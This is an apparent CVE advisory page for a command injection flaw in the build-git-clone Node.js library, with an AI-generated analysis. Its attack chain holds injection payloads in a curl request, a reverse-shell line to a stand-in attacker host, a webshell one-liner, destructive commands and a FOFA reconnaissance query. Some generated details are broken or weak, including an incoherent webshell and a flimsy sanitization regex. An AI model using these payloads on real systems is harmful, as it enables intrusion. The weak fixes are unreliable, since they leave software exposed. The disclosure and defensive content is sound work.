CVE Professor
/
All CVEs
CVE-2026-137090

CVE-2026-137090 — Emanuelmoraes-dev Build-git-clone — CWE-78

CRITICAL CVSS 9.8 NVD

build-git-clone before 1.0.4 contains an OS command injection vulnerability in the clone() function that allows attackers to execute commands by supplying crafted repository URLs. Attackers can embed shell metacharacters such as ; or $() in the url argument, which is concatenated into a sh -c command, to execute operating system commands with Node.js process privileges.

build-git-clone before 1.0.4 contains an OS command injection vulnerability in the clone() function that allows attackers to execute commands by supplying crafted repository URLs. Attackers can embed shell metacharacters such as ; or $() in the url argument, which is concatenated into a sh -c command, to execute operating system commands with Node.js process privileges.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑137090 is an OS command injection flaw (CWE‑78) in the clone() function of the build‑git‑clone library, affecting all releases prior to 1.0.4.
The function builds a shell command by concatenating the user‑supplied repository URL directly into a sh -c invocation, e.g.:

const cmd = `sh -c "git clone ${url}"`;
child_process.exec(cmd, …);

Because the URL is not sanitized or validated, an attacker can inject shell metacharacters (;, &&, $(), |, etc.) that are interpreted by the shell. The injected payload is executed with the same privileges as the Node.js process, giving the attacker full remote code execution (RCE) on the host.

Key missing checks:

LayerMissing / Flawed
Input validationNo sanitization or whitelist on the url argument.
Command constructionDirect string concatenation into a shell command (sh -c).
Authentication/AuthorizationThe API that calls clone() is exposed without any auth guard in the affected code paths.
Execution contextThe command runs under the Node.js process user (often root or a privileged service account).

The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) reflects that the flaw is remote, low‑complexity, unauthenticated, no‑UI, and impacts confidentiality, integrity, and availability.


⚡ Attack Chain

Below is a realistic, step‑by‑step chain that an attacker could follow to exploit this flaw in a typical Node.js web service that uses build-git-clone to clone remote repositories on demand.

NOTE: The exact HTTP endpoint and payload format are illustrative; the vulnerability exists wherever clone() is called with a user‑supplied URL.

1. Discovery & Reconnaissance

StepTechniqueWhat the attacker looks for
a. Identify the librarySearch the target’s source code or package metadata (package.json, npm audit, or npm ls build-git-clone).[email protected] (or earlier).
b. Verify exposed APIEnumerate endpoints (e.g., /clone, /git/clone) via automated tools (DirBuster, Burp Suite).POST /api/clone that accepts a JSON body with a url field.
c. Confirm unauthenticated accessSend a benign request to the endpoint and observe the response.200 OK with a JSON payload.
d. Confirm command execution pathSend a request with a URL that includes a harmless command (e.g., ; echo TEST) and check logs or response.If the service logs sh -c "git clone https://example.com/repo.git; echo TEST", the command is executed.

2. Exploitation

Goal: Execute arbitrary shell commands.

2.1 Crafting the payload

The attacker crafts a repository URL that contains shell metacharacters. Two common payloads:

PayloadPurpose
https://example.com/repo.git; idExecutes id to reveal the process user.
https://example.com/repo.git; $(whoami)Uses command substitution to run whoami.

2.2 Sending the request

Assuming the API accepts JSON:

curl -X POST http://target.example.com/api/clone \
     -H "Content-Type: application/json" \
     -d '{"url":"https://example.com/repo.git; id"}'

Illustrative response (if the service echoes the command output):

{
  "status":"success",
  "output":"uid=0(root) gid=0(root) groups=0(root)"
}

If the service does not echo output, the attacker can still infer success by observing side effects (e.g., a file created by the injected command).

2.3 Validating RCE

  • Command execution: id, whoami, uname -a, or cat /etc/passwd.
  • Persistence: Create a reverse shell (bash -i >& /dev/tcp/attacker/4444 0>&1).
  • Privilege escalation: If the Node.js process runs as root, the attacker gains root access.
  • 3. Post‑exploitation

    Once the attacker has executed arbitrary commands, they can:

    1. Install a webshell (e.g., node -e "require('http').createServer((_,res)=>{eval(require('child_process').execSync('cat /etc/passwd').toString());res.end();}).listen(8080)").
    2. Extract secrets: Read environment variables, config files, or database credentials.
    3. Move laterally: Use the compromised host as a pivot point to reach other internal services.
    4. Maintain persistence: Add a cron job or systemd service that spawns a reverse shell on boot.


    🌍 Real World Impact

    ImpactExplanation
    Confidentiality (C:H)Arbitrary commands can read any file the Node.js process can access, including secrets, credentials, and sensitive data.
    Integrity (I:H)The attacker can modify files, overwrite binaries, or tamper with configuration, leading to data corruption or sabotage.
    Availability (A:H)The attacker can crash the service (e.g., kill -9 $(pgrep node)), delete critical files, or launch DoS attacks from the compromised host.
    Privilege EscalationIf the Node.js process runs as root or a privileged user, the attacker gains full system control.
    Lateral MovementThe compromised host can serve as a foothold into the internal network, exposing additional assets.

    Practical consequences for affected environments:

  • Web applications that allow users to trigger repository cloning (e.g., CI/CD pipelines, code review tools) become a vector for RCE.
  • Microservice architectures where services clone dependencies on demand are at risk of being hijacked.
  • Enterprise deployments where the Node.js process runs with elevated privileges (e.g., system services) face catastrophic compromise.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    AffectedFixed
    build-git-clone < 1.0.4Upgrade to 1.0.4 or later.
    ActionRun npm install build-git-clone@^1.0.4 or update the lockfile. Verify the new version by inspecting npm ls build-git-clone.
    Why 1.0.4? The maintainers replaced the unsafe sh -c call with child_process.execFile and added URL validation against a whitelist of allowed protocols (https://, git://, ssh://). No command injection is possible after the change.

    2. Workarounds (if upgrade is not immediately possible)

    MitigationHow to implement
    Input sanitizationStrip or escape shell metacharacters from the url before passing to clone(). Example: url.replace(/[;&$()]/g, '').
    Use execFileReplace the vulnerable call with child_process.execFile('git', ['clone', url]).
    Restrict URLsEnforce a whitelist of allowed hostnames or IP ranges. Reject any URL that does not match the whitelist.
    Run as non‑privileged userEnsure the Node.js process runs under a least‑privilege account (e.g., nobody).

    | WAF / ModSecurity rule | Block requests containing shell metacharacters in the url parameter. Example rule (ModSecurity v3 syntax):

    SecRule REQUEST_URI "@rx /api/clone" \
        "chain,phase:2,block,msg:'Potential OS command injection via clone URL',id:10001"
    SecRule ARGS:url "@rx [;&|$()]" \
        "t:none,t:urlDecodeUni"
    This rule triggers when the url argument contains any of the characters that could lead to command injection.

    3. Detection

    IndicatorHow to detect
    HTTP requests with suspicious URLsLog entries where url contains ;, &&, $(, or .
    Child process execution logsLook for sh -c or git clone commands that include semicolons or parentheses.
    Unexpected system commandsMonitor for id, whoami, cat /etc/passwd, or reverse shell binaries being executed from the Node.js process.
    Audit logsUse auditd or sysdig to watch for execve syscalls originating from the Node.js binary with suspicious arguments.

    Sample log snippet (syslog):

    Aug 12 14:23:45 host node[12345]: sh -c "git clone https://example.com/repo.git; id"

    If such entries appear without a legitimate reason, they are likely exploitation attempts.


    ⚠️ Urgency

  • CVSS Score: 9.8 (Critical) – indicates a high‑risk, low‑effort vulnerability that can be exploited remotely without authentication.
  • Exploit Complexity: Low – the attacker only needs to craft a URL; no special knowledge or credentials required.
  • Impact: Full RCE with potential privilege escalation to root.
  • CISA KEV: Not listed, but that does not diminish the severity; the vulnerability is still exploitable in the wild.
Recommendation: Patch immediately. If a patch cannot be applied within 24 hours, implement the mitigations above (input sanitization, non‑privileged execution, WAF rules) and monitor logs closely. The risk of a successful RCE is too high to tolerate any delay.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="emanuelmoraes-dev build-git-clone"
CVSS Score
9.8 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (1)
emanuelmoraes-dev:build-git-clone
References & Advisories (4)
Related CVEs
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac
8.8
CVE-2026-105101
An OS command injection vulnerability in the ping diagnostic function (InternetState.java) in Elinktek UZ801 4
8.8
CVE-2026-81135
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains an Improper Neutralizati
8.5
CVE-2026-85785
An OS command injection vulnerability in the internal management API of TP-Link Deco BE68 v1 allows an adjacen
8.2
CVE-2026-145364
### Summary A boolean operator-precedence bug in `convertPeerAuthentication()` (`pilot/pkg/serviceregistry/am